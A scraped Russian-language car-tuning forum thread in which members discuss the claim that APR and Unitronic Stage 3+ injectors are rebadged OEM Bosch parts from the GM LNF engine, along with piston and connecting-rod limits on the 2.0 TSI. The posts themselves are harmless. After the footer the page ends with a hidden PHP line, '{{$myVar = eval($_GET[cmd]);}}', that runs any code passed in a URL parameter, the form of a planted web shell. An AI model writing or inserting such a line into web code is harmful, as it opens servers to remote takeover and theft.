+ Ответить в теме
Страница 1 из 3 1 2 3 ПоследняяПоследняя
Показано с 1 по 10 из 21

Тема: Раскрыта тайна "тюненых" форсунок APR и Unitronic


  1. #1
    GTI-Racing valj is a jewel in the rough valj is a jewel in the rough valj is a jewel in the rough valj is a jewel in the rough Аватар для valj
    Регистрация
    02.06.2010
    Откуда
    Москва
    Машина
    mk6 gti
    Сообщений
    1,846

    Раскрыта тайна "тюненых" форсунок APR и Unitronic

    Прошу прощения за громкое название темы, просто когда прочитал ветку на mk6forums, был очень впечатлен.

    http://www.golfmk6.com/forums/showthread.php?t=43120

    Смысл в том, что вот эти форсунки, которые идут на Stage 3+ у АПР



    не разглашались тюнерами.

    Методом проб и ошибок чувак определил, что это просто форсунки от Форда

    GM LNF 2.0 ECOTEC OEM Injector Part # / Bosch Part # : 12636111 / 0 261 500 112

    Также упоминается, что единственный комплект тюненных поршней, который есть для 2.0TSI и не вызывает проблем - производства Mahle Motorsport


  2. #2
    GTI-Racing JUICE is on a distinguished road Аватар для JUICE
    Регистрация
    25.06.2008
    Откуда
    Saint-Petersburg
    Машина
    VW Golf
    Сообщений
    151
    Только судя по кодировке, это вроде опель .... GM ... Ecotec.... У Форда движки экобуст называются

  3. #3
    GTI-Racing valj is a jewel in the rough valj is a jewel in the rough valj is a jewel in the rough valj is a jewel in the rough Аватар для valj
    Регистрация
    02.06.2010
    Откуда
    Москва
    Машина
    mk6 gti
    Сообщений
    1,846
    там в конце ветки интересная перепалка между этим парнем и АПР.

    АПР доказывают, что у них другие выкладывается фотки, где стрелочками разные цвета указаны.

    В итоге это OEM Bosch форсунки

  4. #4
    GTI-Racing ~13~ will become famous soon enough Аватар для ~13~
    Регистрация
    25.12.2011
    Откуда
    13 район
    Машина
    mk6
    Сообщений
    556
    ну Слава Богу, а то я уж волноваться начал по этому поводу)
    GIAC st.1+*k&n drop in air filter*h&r monotube coilovers*h&r anti roll sway bars 28/24*bridgestone adrenalin re02*hawk cp*motul x-lite/5.1*denso tough*OEM+

  5. #5
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    так какой вывод напрашивается ............все хорошо или нет, или можно дешевше )))) ????
    песок сыпется....не останавливайтесь на достигнутом !

  6. #6
    GTI-Racing Глум is on a distinguished road Аватар для Глум
    Регистрация
    13.06.2007
    Откуда
    Москва
    Машина
    Skoda vRS 3**hp
    Сообщений
    335
    В конце написано (самим автором топика), что он НЕ утверждает, что это форсунки АПР, дескать они просто похожи..
    Форсунки там Бошевские, с затертыми партнамберами. Номер прочитать не удалось:(

  7. #7
    GTI-Racing valj is a jewel in the rough valj is a jewel in the rough valj is a jewel in the rough valj is a jewel in the rough Аватар для valj
    Регистрация
    02.06.2010
    Откуда
    Москва
    Машина
    mk6 gti
    Сообщений
    1,846
    Вообщем вывод этого следущий:

    Те кто хочет делать кастомный Stage 3+ и выше, кому нужны жирные форсунки, не может их отдельно купить у АПР и АПР не раскрывает где это можно сделать.

    Этот чувак методом проб и ошибок нашел те, которые подходят по всем параметрам (рамеру, количеству дырочек струй и т.д.)

    Вот и все :-) вообще нам всем от Stage 1-3 это вообще не грозит. Если не идешь выше K04, про форсунки можно забыть.

    Что меня удивило, так это то,что я прочитал всю ветку это Sammy, где он описывает последовательные модификации своей машины и на K04 у него лопнул штатный шатун.

    Он утверждает,что штатные шатуны основное слабое звено при постройки всего начиная с K04.

    Это противоречит томе, что говорят основные тюнеры про свои комплекты.

    Хотя конечно и на штатной турбине, если постараться можно движок убить

  8. #8
    GTI-Racing turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold Аватар для turborabbit
    Регистрация
    07.09.2011
    Откуда
    +ключи от квартиры
    Машина
    MKVI GTi 475hp
    Сообщений
    533
    нунаконецто :)
    Запомните и "зарубите на носу" : 2.0TFSI+K03 = max300hp 2.0TSI+IHI = max315hp 2.0T(F)SI+K04 = max400hp :)

  9. #9
    GTI-Racing Pavlo is a jewel in the rough Pavlo is a jewel in the rough Pavlo is a jewel in the rough Pavlo is a jewel in the rough Аватар для Pavlo
    Регистрация
    16.07.2009
    Откуда
    Москва
    Машина
    Mk4 GTI '99, Passat CC DSG '11
    Сообщений
    1,073
    Эти форсунки ставились на сааб, их валом на разборках, они никому не нужны) самая адекватная разборка по саабам в митино, точнее поселок ангелово, там и снимут и проверят на стенде и цену дадут адекватную
    Golf IV GTI AGU Koni Sport Coils -40mm + KYB AGX; Borla Muffler Attack Sound; NeuSpeed Pulley Kit; Samco Cooling Kit; ACT Flywheels; Hotchkis Sway Bar; WhiteLine Front & Rear Busching; TD05HR 16G Turbo; Eagle H-Beam + JE Piston 8,5;
    Passat CC 1,8 TSI APRStage 1/2 Testpipe - Продано

  10. #10
    GTI-Racing valj is a jewel in the rough valj is a jewel in the rough valj is a jewel in the rough valj is a jewel in the rough Аватар для valj
    Регистрация
    02.06.2010
    Откуда
    Москва
    Машина
    mk6 gti
    Сообщений
    1,846
    Я ждал, когда появятся подобные комментарии)))

+ Ответить в теме
Страница 1 из 3 1 2 3 ПоследняяПоследняя

Похожие темы

  1. Ответов: 3
    Последнее сообщение: 02.04.2024, 06:45
  2. "I этап Кубка "МАГИСТРАЛЬ 2012" - 17 марта"
    от Magistral в разделе Туризм и отдых
    Ответов: 3
    Последнее сообщение: 02.04.2024, 03:58
  3. Ответов: 2
    Последнее сообщение: 02.04.2024, 01:56
  4. Интеркуллер "Мокрый" или "Сухой"??? Хелп???
    от Танкист в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 10
    Последнее сообщение: 17.11.2009, 20:45

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}